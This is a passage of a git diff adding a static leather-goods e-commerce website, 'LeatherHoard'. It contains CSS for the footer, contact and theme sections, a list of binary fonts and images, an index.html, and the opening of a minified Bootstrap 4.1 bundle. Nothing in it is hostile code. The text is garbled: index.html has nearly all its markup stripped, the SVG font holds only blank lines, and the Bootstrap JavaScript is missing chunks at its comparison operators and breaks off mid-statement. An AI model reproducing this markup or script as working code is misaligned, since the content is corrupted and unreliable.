#fff; + font-size: 24px; + text-transform: capitalize; +} +.contact-office-address p { + color: #fff; + font-size: 14px; + margin-bottom: 14px; + margin-top: 30px; + margin-bottom: 50px; +} +.contact-online-address { + color: #fff; + font-size: 14px; +} +.single-online-address { + position: relative; + margin-bottom: 30px; +} +.single-online-address i { + padding-right: 7px; +} +.single-online-address span { + position: absolute; + font-size: 14px; + left: 25px; + top: 0; + width: 100%; +} /* contact-adress */ + +/*hm-foot-icon*/ +.contact-icon { + margin-top: 19px; +} + +.contact-icon ul li { + float: left; +} +.contact-icon ul li > a { + color: #fff; + margin-right: 13px; + padding: 0px 12px 0px 0px; + -webkit-transition: 0.3s; + -moz-transition: 0.3s; + -ms-transition: 0.3s; + -o-transition: 0.3s; + transition: 0.3s; +} + +.contact-icon ul li { + float: left; +} +.contact-icon ul li > a { + color: #ff8aa5; + margin-right: 13px; + padding: 0px 12px 0px 0px; + -webkit-transition: 0.3s; + -moz-transition: 0.3s; + -ms-transition: 0.3s; + -o-transition: 0.3s; + transition: 0.3s; +} +.contact.icon:hover { + font-size: 20px; + color: #fff; +} + +/* ------------------------------------ +==================================== +------------------------------------ */ + +/* --------------------------- + +Style For Footer section + +-------------------------- */ + +.footer { + background: url(../images/footer.jpg); + background-repeat: no-repeat; + background-size: 100% 100%; + padding-top: 115px; + text-align: center; +} + +.footer .titlepage { + text-align: left; + padding-bottom: 0px; +} + +.footer .titlepage h2 { + color: #fff; + margin: inherit; + border-bottom: #fff solid 1px; +} + +.logo1 { + height: 76px; + width: 131px; + float: left; + margin-top: -30px; +} + +ul.social_icon { + padding-top: 37px; + width: 100%; + float: left; + text-align: left; +} + +ul.social_icon li { + display: inline-block; +} + +ul.social_icon li a { + background: #fff; + width: 40px; + height: 40px; + display: flex; + align-items: center; + justify-content: center; + font-size: 25px; + border-radius: 30px; + margin: 0 3px; + transition: 0s; + transition: all 400ms ease; +} + +ul.social_icon li .fa a:hover { + background-color: var(--color-pink-dark); + color: #fff; +} + +.footer h3 { + line-height: 25px; + font-weight: 400; + text-align: left; + color: #fff; + padding-bottom: 15px; +} + +.footer li, +.footer li a { + text-align: left; + margin-bottom: 12px; + color: rgb(176, 173, 173); +} + +.bottom_form .enter { + border: inherit; + padding: 0px 19px; + width: 100%; + height: 45px; + background: #fffffff2; + color: #ccc8c8; + font-size: 15px; + font-weight: 600; + float: left; + border-radius: 6px; + margin-bottom: 20px; +} + +.sub_btn { + font-size: 17px; + transition: ease-in all 0.5s; + background-color: var(--color-pink-dark); + color: #fff; + padding: 5px 0px; + max-width: 147px; + border-radius: 10px; + width: 100%; + display: block; + font-weight: 500; + text-transform: uppercase; + transition: 1ms; +} + +.sub_btn:hover { + background-color: #000; + transition: ease-in all 0.5s; + color: #fff; +} + +.copyright { + margin-top: 80px; + padding-bottom: 20px; +} + +.copyright p { + color: #ddd; + font-size: 18px; + line-height: 22px; + text-align: center; + border-top: #ddd solid 1px; + padding-top: 25px; + font-weight: normal; +} + +.copyright a { + color: #ddd; +} + +.copyright a:hover { + color: var(--color-pink-dark); + transition: all 400ms ease; +} + +/* ------------------------------------ +==================================== +------------------------------------ */ + +/* --------------------------- + +Style For page-section + +-------------------------- */ + +.page-section { + position: relative; + padding-top: 80px; + padding-bottom: 80px; + color: #898798; + overflow: hidden; +} +.title-section { + color: #65443c; + font-size: 2rem; +} +.subhead { + display: block; + text-transform: uppercase; + letter-spacing: 3px; + color: #482b24; + font-weight: 500; + margin-bottom: 8px; +} + +.divider { + display: block; + margin-top: 16px; + margin-bottom: 32px; + width: 32px; + height: 3px; + border-radius: 40px; + background-color: var(--color-pink); +} + +/* --------------------------- + +Style for toggle theme button + +-------------------------- */ + +.toggle-theme-btn { + position: fixed; + bottom: 2rem; + right: 2rem; + height: 3rem; + width: 3rem; + background-color: var(--color-dark-2); + display: flex; + justify-content: center; + align-items: center; + border-radius: 50%; + cursor: pointer; + box-shadow: 0 2px 6px 2px rgba(100, 95, 136, 0.62); + z-index: 1; +} + +.toggle-theme-btn i { + font-size: 2rem; + color: var(--color-pink); + display: none; +} + +.dark-mode .toggle-theme-btn i:first-child, +.light-mode .toggle-theme-btn i:last-child { + display: block; +} + +/* Adding custom scroolbar matching to the theme of website */ +::-webkit-scrollbar { + width: 20px; +} +::-webkit-scrollbar-track { + background-color: rgb(247, 252, 254); +} + +::-webkit-scrollbar-thumb { + background-color: #624a2e; + border-radius: 1rem; + border: 0.3rem solid transparent; + background-clip: content-box; +} +/* for back to scroll feature */ +/* + + #myBtn:hover { + background-color: #555; + } */ +#myBtn { + /* display: none; */ + position: fixed; + bottom: 90px; + right: 33px; + z-index: 99; + font-size: 18px; + border: none; + outline: none; + background-color: rgb(163, 156, 156); + color: white; + cursor: pointer; + padding: 10px; + + border-radius: 50%; +} + +/* Icons hover effect */ +.fa { + font-size: 16px; +} diff --git a/E-commerce website/css/theme.css b/E-commerce website/css/theme.css new file mode 100644 index 0000000..2fde0ad --- /dev/null +++ b/E-commerce website/css/theme.css @@ -0,0 +1,39 @@ +/*--------------------------------------------------------------------- File Name: theme.css ---------------------------------------------------------------------*/ + +/* ---------------------- Theme related variables ---------------------- */ + +:root { + --primary-background-color: #fff; +} + +@media (prefers-color-scheme: dark) { + :root { + --primary-background-color: #0e1217; + } +} + +.light-mode { + --primary-background-color: #fff; + --secondary-background-color: #f8f9fa; + --color-pink: #ff8aa5; + --color-pink-dark: #fb8da7; + --text-color: #898798; + --color-dark-1: #030305; + --color-dark-2: #0b0b0c; +} + +.dark-mode { + --primary-background-color: #0e1217; + --secondary-background-color: #1c1f26; + --color-pink: #c94b68; + --color-pink-dark: #dc5f7c; + --text-color: #fff; + --color-dark-1: #ededff; + --color-dark-2: #c8c8dc; +} + +/* ---------------------- Theme related css ---------------------- */ + +.dark-mode .bg-light { + background-color: var(--secondary-background-color) !important; +} diff --git a/E-commerce website/css/utils.css b/E-commerce website/css/utils.css new file mode 100644 index 0000000..e247e02 --- /dev/null +++ b/E-commerce website/css/utils.css @@ -0,0 +1,53 @@ +/* ..........imports for fonts (popins )........... */ +@import url("https://fonts.googleapis.com/css2?family=Poppins:wght@100;200;300;400;500;600;700;800;900&family=Ubuntu:wght@300&display=swap"); + +/*..............variables used........... */ +:root { + --white: white; + --pink: #ff8aa5; +} +/* universal style */ +* { + margin: 0; + padding: 0; + text-decoration: none !important; + font-family: "Poppins", sans-serif; + transition: 0.2s; +} +a:hover { + color: var(--pink) !important; + transition: 0.2s ease-in-out; +} +.flex-center { + display: flex; + justify-content: center; + align-items: center; +} +.flex-center-column { + display: flex; + justify-content: center; + align-items: center; + flex-direction: column; +} +.flex-between { + display: flex; + justify-content: space-between; + align-items: center; +} +/* styling dynamically generated buy button form products.js */ +#buy { + margin: 30px; + padding: 10px; + padding-left: 30px; + padding-right: 30px; + border: 2px solid pink; + background-color: var(--pink); + border-radius: 5px; + color: white; + font-weight: bold; + font-size: 17px; +} +#buy:hover { + scale: 1.05; + opacity: 0.7; +} diff --git a/E-commerce website/fonts/FontAwesome.otf b/E-commerce website/fonts/FontAwesome.otf new file mode 100644 index 0000000..401ec0f Binary files /dev/null and b/E-commerce website/fonts/FontAwesome.otf differ diff --git a/E-commerce website/fonts/IcoMoon-Free.ttf b/E-commerce website/fonts/IcoMoon-Free.ttf new file mode 100644 index 0000000..5691944 Binary files /dev/null and b/E-commerce website/fonts/IcoMoon-Free.ttf differ diff --git a/E-commerce website/fonts/Poppins-Black.ttf b/E-commerce website/fonts/Poppins-Black.ttf new file mode 100644 index 0000000..5a22bff Binary files /dev/null and b/E-commerce website/fonts/Poppins-Black.ttf differ diff --git a/E-commerce website/fonts/Poppins-BlackItalic.ttf b/E-commerce website/fonts/Poppins-BlackItalic.ttf new file mode 100644 index 0000000..92c213b Binary files /dev/null and b/E-commerce website/fonts/Poppins-BlackItalic.ttf differ diff --git a/E-commerce website/fonts/Poppins-Bold.ttf b/E-commerce website/fonts/Poppins-Bold.ttf new file mode 100644 index 0000000..1170ea9 Binary files /dev/null and b/E-commerce website/fonts/Poppins-Bold.ttf differ diff --git a/E-commerce website/fonts/Poppins-BoldItalic.ttf b/E-commerce website/fonts/Poppins-BoldItalic.ttf new file mode 100644 index 0000000..ca3d660 Binary files /dev/null and b/E-commerce website/fonts/Poppins-BoldItalic.ttf differ diff --git a/E-commerce website/fonts/Poppins-ExtraBold.ttf b/E-commerce website/fonts/Poppins-ExtraBold.ttf new file mode 100644 index 0000000..9e7b797 Binary files /dev/null and b/E-commerce website/fonts/Poppins-ExtraBold.ttf differ diff --git a/E-commerce website/fonts/Poppins-ExtraBoldItalic.ttf b/E-commerce website/fonts/Poppins-ExtraBoldItalic.ttf new file mode 100644 index 0000000..f6f0da6 Binary files /dev/null and b/E-commerce website/fonts/Poppins-ExtraBoldItalic.ttf differ diff --git a/E-commerce website/fonts/Poppins-ExtraLight.ttf b/E-commerce website/fonts/Poppins-ExtraLight.ttf new file mode 100644 index 0000000..20fe902 Binary files /dev/null and b/E-commerce website/fonts/Poppins-ExtraLight.ttf differ diff --git a/E-commerce website/fonts/Poppins-ExtraLightItalic.ttf b/E-commerce website/fonts/Poppins-ExtraLightItalic.ttf new file mode 100644 index 0000000..9b6cab6 Binary files /dev/null and b/E-commerce website/fonts/Poppins-ExtraLightItalic.ttf differ diff --git a/E-commerce website/fonts/Poppins-Italic.ttf b/E-commerce website/fonts/Poppins-Italic.ttf new file mode 100644 index 0000000..2776f0f Binary files /dev/null and b/E-commerce website/fonts/Poppins-Italic.ttf differ diff --git a/E-commerce website/fonts/Poppins-Light.ttf b/E-commerce website/fonts/Poppins-Light.ttf new file mode 100644 index 0000000..1e74b8a Binary files /dev/null and b/E-commerce website/fonts/Poppins-Light.ttf differ diff --git a/E-commerce website/fonts/Poppins-LightItalic.ttf b/E-commerce website/fonts/Poppins-LightItalic.ttf new file mode 100644 index 0000000..7751c04 Binary files /dev/null and b/E-commerce website/fonts/Poppins-LightItalic.ttf differ diff --git a/E-commerce website/fonts/Poppins-Medium.ttf b/E-commerce website/fonts/Poppins-Medium.ttf new file mode 100644 index 0000000..9896e36 Binary files /dev/null and b/E-commerce website/fonts/Poppins-Medium.ttf differ diff --git a/E-commerce website/fonts/Poppins-MediumItalic.ttf b/E-commerce website/fonts/Poppins-MediumItalic.ttf new file mode 100644 index 0000000..8d50134 Binary files /dev/null and b/E-commerce website/fonts/Poppins-MediumItalic.ttf differ diff --git a/E-commerce website/fonts/Poppins-Regular.ttf b/E-commerce website/fonts/Poppins-Regular.ttf new file mode 100644 index 0000000..850d03e Binary files /dev/null and b/E-commerce website/fonts/Poppins-Regular.ttf differ diff --git a/E-commerce website/fonts/Poppins-SemiBold.ttf b/E-commerce website/fonts/Poppins-SemiBold.ttf new file mode 100644 index 0000000..5a9ad7a Binary files /dev/null and b/E-commerce website/fonts/Poppins-SemiBold.ttf differ diff --git a/E-commerce website/fonts/Poppins-SemiBoldItalic.ttf b/E-commerce website/fonts/Poppins-SemiBoldItalic.ttf new file mode 100644 index 0000000..41dfba1 Binary files /dev/null and b/E-commerce website/fonts/Poppins-SemiBoldItalic.ttf differ diff --git a/E-commerce website/fonts/Poppins-Thin.ttf b/E-commerce website/fonts/Poppins-Thin.ttf new file mode 100644 index 0000000..20a6950 Binary files /dev/null and b/E-commerce website/fonts/Poppins-Thin.ttf differ diff --git a/E-commerce website/fonts/Poppins-ThinItalic.ttf b/E-commerce website/fonts/Poppins-ThinItalic.ttf new file mode 100644 index 0000000..b563916 Binary files /dev/null and b/E-commerce website/fonts/Poppins-ThinItalic.ttf differ diff --git a/E-commerce website/fonts/fontawesome-webfont.eot b/E-commerce website/fonts/fontawesome-webfont.eot new file mode 100644 index 0000000..e9f60ca Binary files /dev/null and b/E-commerce website/fonts/fontawesome-webfont.eot differ diff --git a/E-commerce website/fonts/fontawesome-webfont.svg b/E-commerce website/fonts/fontawesome-webfont.svg new file mode 100644 index 0000000..855c845 --- /dev/null +++ b/E-commerce website/fonts/fontawesome-webfont.svg @@ -0,0 +1,2671 @@ + + + + +Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016 + By ,,, +Copyright Dave Gandy 2016. All rights reserved. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/E-commerce website/fonts/fontawesome-webfont.ttf b/E-commerce website/fonts/fontawesome-webfont.ttf new file mode 100644 index 0000000..35acda2 Binary files /dev/null and b/E-commerce website/fonts/fontawesome-webfont.ttf differ diff --git a/E-commerce website/fonts/fontawesome-webfont.woff b/E-commerce website/fonts/fontawesome-webfont.woff new file mode 100644 index 0000000..400014a Binary files /dev/null and b/E-commerce website/fonts/fontawesome-webfont.woff differ diff --git a/E-commerce website/fonts/fontawesome-webfont.woff2 b/E-commerce website/fonts/fontawesome-webfont.woff2 new file mode 100644 index 0000000..4d13fc6 Binary files /dev/null and b/E-commerce website/fonts/fontawesome-webfont.woff2 differ diff --git a/E-commerce website/images/Leather-bagpacks.png b/E-commerce website/images/Leather-bagpacks.png new file mode 100644 index 0000000..9c13790 Binary files /dev/null and b/E-commerce website/images/Leather-bagpacks.png differ diff --git a/E-commerce website/images/Leather-bags.png b/E-commerce website/images/Leather-bags.png new file mode 100644 index 0000000..e99858c Binary files /dev/null and b/E-commerce website/images/Leather-bags.png differ diff --git a/E-commerce website/images/Leather-belt.png b/E-commerce website/images/Leather-belt.png new file mode 100644 index 0000000..3c1abc9 Binary files /dev/null and b/E-commerce website/images/Leather-belt.png differ diff --git a/E-commerce website/images/Leather-caps.jpeg b/E-commerce website/images/Leather-caps.jpeg new file mode 100644 index 0000000..e772657 Binary files /dev/null and b/E-commerce website/images/Leather-caps.jpeg differ diff --git a/E-commerce website/images/Leather-gloves.jpeg b/E-commerce website/images/Leather-gloves.jpeg new file mode 100644 index 0000000..d4fbe6c Binary files /dev/null and b/E-commerce website/images/Leather-gloves.jpeg differ diff --git a/E-commerce website/images/Leather-jacket-transparent.png b/E-commerce website/images/Leather-jacket-transparent.png new file mode 100644 index 0000000..fa7e35b Binary files /dev/null and b/E-commerce website/images/Leather-jacket-transparent.png differ diff --git a/E-commerce website/images/Leather-jacket.png b/E-commerce website/images/Leather-jacket.png new file mode 100644 index 0000000..8d5e282 Binary files /dev/null and b/E-commerce website/images/Leather-jacket.png differ diff --git a/E-commerce website/images/Leather-purse.png b/E-commerce website/images/Leather-purse.png new file mode 100644 index 0000000..e572120 Binary files /dev/null and b/E-commerce website/images/Leather-purse.png differ diff --git a/E-commerce website/images/Leather-shoes.png b/E-commerce website/images/Leather-shoes.png new file mode 100644 index 0000000..0d707db Binary files /dev/null and b/E-commerce website/images/Leather-shoes.png differ diff --git a/E-commerce website/images/Leather-wallet.jpeg b/E-commerce website/images/Leather-wallet.jpeg new file mode 100644 index 0000000..be7cd3b Binary files /dev/null and b/E-commerce website/images/Leather-wallet.jpeg differ diff --git a/E-commerce website/images/arrival_1.jpg b/E-commerce website/images/arrival_1.jpg new file mode 100644 index 0000000..131415a Binary files /dev/null and b/E-commerce website/images/arrival_1.jpg differ diff --git a/E-commerce website/images/arrival_2.jpg b/E-commerce website/images/arrival_2.jpg new file mode 100644 index 0000000..75cb030 Binary files /dev/null and b/E-commerce website/images/arrival_2.jpg differ diff --git a/E-commerce website/images/arrival_3.jpg b/E-commerce website/images/arrival_3.jpg new file mode 100644 index 0000000..4769619 Binary files /dev/null and b/E-commerce website/images/arrival_3.jpg differ diff --git a/E-commerce website/images/banner.jpg b/E-commerce website/images/banner.jpg new file mode 100644 index 0000000..2cf7352 Binary files /dev/null and b/E-commerce website/images/banner.jpg differ diff --git a/E-commerce website/images/banner1.png b/E-commerce website/images/banner1.png new file mode 100644 index 0000000..06e9a6c Binary files /dev/null and b/E-commerce website/images/banner1.png differ diff --git a/E-commerce website/images/banner2.png b/E-commerce website/images/banner2.png new file mode 100644 index 0000000..b2f9e55 Binary files /dev/null and b/E-commerce website/images/banner2.png differ diff --git a/E-commerce website/images/banner3.png b/E-commerce website/images/banner3.png new file mode 100644 index 0000000..cb1e9c1 Binary files /dev/null and b/E-commerce website/images/banner3.png differ diff --git a/E-commerce website/images/banner4.png b/E-commerce website/images/banner4.png new file mode 100644 index 0000000..9639641 Binary files /dev/null and b/E-commerce website/images/banner4.png differ diff --git a/E-commerce website/images/bg.jpg b/E-commerce website/images/bg.jpg new file mode 100644 index 0000000..d847600 Binary files /dev/null and b/E-commerce website/images/bg.jpg differ diff --git a/E-commerce website/images/contact_g.jpg b/E-commerce website/images/contact_g.jpg new file mode 100644 index 0000000..b47845c Binary files /dev/null and b/E-commerce website/images/contact_g.jpg differ diff --git a/E-commerce website/images/contact_g1.jpg b/E-commerce website/images/contact_g1.jpg new file mode 100644 index 0000000..58e93a8 Binary files /dev/null and b/E-commerce website/images/contact_g1.jpg differ diff --git a/E-commerce website/images/cos.png b/E-commerce website/images/cos.png new file mode 100644 index 0000000..a3ea272 Binary files /dev/null and b/E-commerce website/images/cos.png differ diff --git a/E-commerce website/images/creating -leather-products.jpeg b/E-commerce website/images/creating -leather-products.jpeg new file mode 100644 index 0000000..c2452a4 Binary files /dev/null and b/E-commerce website/images/creating -leather-products.jpeg differ diff --git a/E-commerce website/images/creating-leather-product.jpeg b/E-commerce website/images/creating-leather-product.jpeg new file mode 100644 index 0000000..19b8e90 Binary files /dev/null and b/E-commerce website/images/creating-leather-product.jpeg differ diff --git a/E-commerce website/images/cross.png b/E-commerce website/images/cross.png new file mode 100644 index 0000000..dccf09d Binary files /dev/null and b/E-commerce website/images/cross.png differ diff --git a/E-commerce website/images/ecom.png b/E-commerce website/images/ecom.png new file mode 100644 index 0000000..b238838 Binary files /dev/null and b/E-commerce website/images/ecom.png differ diff --git a/E-commerce website/images/footer.jpg b/E-commerce website/images/footer.jpg new file mode 100644 index 0000000..b5aa32d Binary files /dev/null and b/E-commerce website/images/footer.jpg differ diff --git a/E-commerce website/images/leather-types.jpg b/E-commerce website/images/leather-types.jpg new file mode 100644 index 0000000..7b3a986 Binary files /dev/null and b/E-commerce website/images/leather-types.jpg differ diff --git a/E-commerce website/images/loading.gif b/E-commerce website/images/loading.gif new file mode 100644 index 0000000..e8730ed Binary files /dev/null and b/E-commerce website/images/loading.gif differ diff --git a/E-commerce website/images/logo3.png b/E-commerce website/images/logo3.png new file mode 100644 index 0000000..2cd0323 Binary files /dev/null and b/E-commerce website/images/logo3.png differ diff --git a/E-commerce website/images/map.jpg b/E-commerce website/images/map.jpg new file mode 100644 index 0000000..56f58fe Binary files /dev/null and b/E-commerce website/images/map.jpg differ diff --git a/E-commerce website/images/menu_icon.png b/E-commerce website/images/menu_icon.png new file mode 100644 index 0000000..c0ffbfd Binary files /dev/null and b/E-commerce website/images/menu_icon.png differ diff --git a/E-commerce website/images/offerhoodie.png b/E-commerce website/images/offerhoodie.png new file mode 100644 index 0000000..9b181de Binary files /dev/null and b/E-commerce website/images/offerhoodie.png differ diff --git a/E-commerce website/images/quality1.png b/E-commerce website/images/quality1.png new file mode 100644 index 0000000..d38ca76 Binary files /dev/null and b/E-commerce website/images/quality1.png differ diff --git a/E-commerce website/images/quality2.png b/E-commerce website/images/quality2.png new file mode 100644 index 0000000..54161e8 Binary files /dev/null and b/E-commerce website/images/quality2.png differ diff --git a/E-commerce website/images/quality3.png b/E-commerce website/images/quality3.png new file mode 100644 index 0000000..bd1d0a4 Binary files /dev/null and b/E-commerce website/images/quality3.png differ diff --git a/E-commerce website/images/social-network.png b/E-commerce website/images/social-network.png new file mode 100644 index 0000000..153ffab Binary files /dev/null and b/E-commerce website/images/social-network.png differ diff --git a/E-commerce website/images/teamwork.jpg b/E-commerce website/images/teamwork.jpg new file mode 100644 index 0000000..5812ac3 Binary files /dev/null and b/E-commerce website/images/teamwork.jpg differ diff --git a/E-commerce website/images/watches.png b/E-commerce website/images/watches.png new file mode 100644 index 0000000..fb442f8 Binary files /dev/null and b/E-commerce website/images/watches.png differ diff --git a/E-commerce website/index.html b/E-commerce website/index.html new file mode 100644 index 0000000..7baa706 --- /dev/null +++ b/E-commerce website/index.html @@ -0,0 +1,794 @@ + + + + + + + + + + + + LeatherHoard + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
+
+ + + + + +
+ +
+ +
+
+
+
+
+
+ +
+
+
+
+ +
+
+
+
+
+ + + + + + + +
+
+
+
+
+
+ +
+
+
Providing Quality Item
+

Embrace Timeless Elegance and Quality 🌟.
+ In today's fashion landscape, quality is the trend. + We're dedicated to delivering top-notch products that meet your expectations. + Trust in our promise to provide value for your money. Shop now!

+
+
+
+
+
+
+ +
+
+
Customer Update
+

At E-COM, we're committed to enhancing your shopping experience. + Need assistance? Contact us via email or phone. + If an item is out of stock, our team will keep you informed about restocking dates. + Your feedback matters. If you're satisfied or have concerns, reach out to us using the information below. We're here to serve you better.

+
+
+
+
+
+
+ +
+
+
Personalized Items
+

At E-COM, we're leather product experts. + 📏 Need the perfect size? We've got you covered. + 💰 Looking for affordable alternatives to high street fashion? We'll find it. + 👔 Want something unique? Our bespoke, quality leather goods are tailored just for you. + Trust us to fulfill your leather dreams!"

+
+
+
+
+
+
+ + +
+
+
+
Explore New Style
+

Our Collections

+
+
+ +
+
+
+
+ Leather purse +
+
Ladies Fancy Purse
+

Buy good quality handbags for women including clutches, shoulder bags and cross body bags at + affordable prices.

+
+
+
+
+
+ Leather belt +
+
Men's watch
+

Elevate your wrist game with our stunning watch collection. From timeless classics to contemporary designs, our diverse range caters to every style and occasion. Discover precision timekeeping and impeccable craftsmanship in every watch

+ +
+
+
+
+
+ Leather shoes +
+
Men's Formal Shoes
+

Shop best quality Men's Formal Shoes Online. Shop Men's Dress Shoes from a wide range of colours + and styles, available exclusively at LeatherHoard.

+
+
+
+
+
+ Leather bags +
+
Grainy Leather Briefcase
+

A briefcase is still a good investment piece, as these picks will suit anyone for any purpose, from + internship to retirement party. +

+
+
+
+
+
+ Leather wallet +
+
Men's Accessories
+

These genuine leather wallet mens styles have the traditional two-way fold and plenty of interior + pockets and slots for your cash, cards and more.

+
+
+
+
+
+ Leather gloves +
+
Classic Leather Gloves
+

A truly unique glove amongst the competition, giving you breathable Leather to keep hand dry and + warm.

+
+
+
+
+
+ Leather bagpacks +
+
School/College Bagpacks
+

Explore our range of leather backpacks for men & women bringing style, strength and multi purpose + functionality at one place.

+
+
+
+
+
+ Leather caps +
+
Pure Leather Caps
+

*Free Size · *Adjustable · *Trendy · *Polyester and Silk inside which keeps your head from heating + up ·

+
+
+
+
+
+ +
+
+ + + + +
+
+
+
+ About us +

E-COM

+
+ +

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut + labore et dolore magna aliquyam erat, sed diam voluptua.

+

At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren.

+
+
+
+ +
+
+
+
+
+ + + + +
+
+ +
+ +
+ +
+ + +
+

Exclusively Available on E-COM

+

Stylish Hoodie

+
+

It is one of the most common and most affordable. It is very tough and stiff at first, but as you wear the hoodie in, it will become softer and more supple. +

+ + + +
+
+
+
+ + +
+
+
+
Find More Interesting Products
+

Our New Arrivals

+
+
+ +
+
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+
+ +
+
+
+
+
+

Customer Reviews

+
+
+
+
+
+ +
+
+
+
+ + + +
+
+
+
+
+

Contact Us

+
+

+ + If you have any questions about our product, please feel free to contact us on any of the below given links or send us an email. +
We would be glad to resolve your issues. +

+ +

+
+ +
+
+
+
+
+
+
+

contact info

+

+ 123, Sunshine Lane + Mumbai, Maharashtra + India 400001

+
+
+ + +91 9922773824 +
+ + +
+ + ecom_official@gmail.com +
+ +
+ +
+ +
+

social partner

+
+
    +
  • + +
  • + +
  • + +
  • + +
+ +
+ +
+ + +
+ +
+ +
+ +
+ +
+
+
+

Leave us a Message Here

+
+
+
+
+ +
+ +
+ +
+
+ +
+ +
+ +
+ +
+
+
+ +
+ +
+ +
+
+ +
+ +
+ +
+ +
+
+
+ +
+ +
+ +
+ +
+
+
+ + +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + +
+ + + + + +
+ + +
+ + + + + + + + + + + + + + + + diff --git a/E-commerce website/js/bootstrap.bundle.min.js b/E-commerce website/js/bootstrap.bundle.min.js new file mode 100644 index 0000000..e0608e8 --- /dev/null +++ b/E-commerce website/js/bootstrap.bundle.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e(t.bootstrap={},t.jQuery)}(this,function(t,e){"use strict";function i(t,e){for(var n=0;nthis._items.length-1||t<0))if(this._isSliding)k(this._element).one(K.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=n=i.clientWidth&&n>=i.clientHeight}),f=0r[t]&&!i.escapeWithReference&&(n=Math.min(o[e],r[t]-("right"===t?o.width:o.height))),Ft({},e,n)}};return n.forEach(function(t){var e=-1!==["left","top"].indexOf(t)?"primary":"secondary";o=Ut({},o,s[e](t))}),t.offsets.popper=o,t},priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(t){var e=t.offsets,n=e.popper,i=e.reference,r=t.placement.split("-")[0],o=Math.floor,s=-1!==["top","bottom"].indexOf(r),a=s?"right":"bottom",l=s?"left":"top",c=s?"width":"height";return n[a]o(i[a])&&(t.offsets.popper[l]=o(i[a])),t}},arrow:{order:500,enabled:!0,fn:function(t,e){var n;if(!ae(t.instance.modifiers,"arrow","keepTogether"))return t;var i=e.element;if("string"==typeof i){if(!(i=t.instance.popper.querySelector(i)))return t}else if(!t.instance.popper.contains(i))return console.warn("WARNING: `arrow.element` must be child of its popper element!"),t;var r=t.placement.split("-")[0],o=t.offsets,s=o.popper,a=o.reference,l=-1!==["left","right"].indexOf(r),c=l?"height":"width",f=l?"Top":"Left",h=f.toLowerCase(),u=l?"left":"top",d=l?"bottom":"right",p=zt(i)[c];a[d]-ps[d]&&(t.offsets.popper[h]+=a[h]+p-s[d]),t.offsets.popper=Bt(t.offsets.popper);var g=a[h]+a[c]/2-p/2,m=Dt(t.instance.popper),_=parseFloat(m["margin"+f],10),v=parseFloat(m["border"+f+"Width"],10),E=g-t.offsets.popper[h]-_-v;return E=Math.max(Math.min(s[c]-p,E),0),t.arrowElement=i,t.offsets.arrow=(Ft(n={},h,Math.round(E)),Ft(n,u,""),n),t},element:"[x-arrow]"},flip:{order:600,enabled:!0,fn:function(p,g){if(te(p.instance.modifiers,"inner"))return p;if(p.flipped&&p.placement===p.originalPlacement)return p;var m=Yt(p.instance.popper,p.instance.reference,g.padding,g.boundariesElement,p.positionFixed),_=p.placement.split("-")[0],v=Xt(_),E=p.placement.split("-")[1]||"",y=[];switch(g.behavior){case he.FLIP:y=[_,v];break;case he.CLOCKWISE:y=fe(_);break;case he.COUNTERCLOCKWISE:y=fe(_,!0);break;default:y=g.behavior}return y.forEach(function(t,e){if(_!==t||y.length===e+1)return p;_=p.placement.split("-")[0],v=Xt(_);var n,i=p.offsets.popper,r=p.offsets.reference,o=Math.floor,s="left"===_&&o(i.right)>o(r.left)||"right"===_&&o(i.left)o(r.top)||"bottom"===_&&o(i.top)o(m.right),c=o(i.top)o(m.bottom),h="left"===_&&a||"right"===_&&l||"top"===_&&c||"bottom"===_&&f,u=-1!==["top","bottom"].indexOf(_),d=!!g.flipVariations&&(u&&"start"===E&&a||u&&"end"===E&&l||!u&&"start"===E&&c||!u&&"end"===E&&f);(s||h||d)&&(p.flipped=!0,(s||h)&&(_=y[e+1]),d&&(E="end"===(n=E)?"start":"start"===n?"end":n),p.placement=_+(E?"-"+E:""),p.offsets.popper=Ut({},p.offsets.popper,Jt(p.instance.popper,p.offsets.reference,p.placement)),p=$t(p.instance.modifiers,p,"flip"))}),p},behavior:"flip",padding:5,boundariesElement:"viewport"},inner:{order:700,enabled:!1,fn:function(t){var 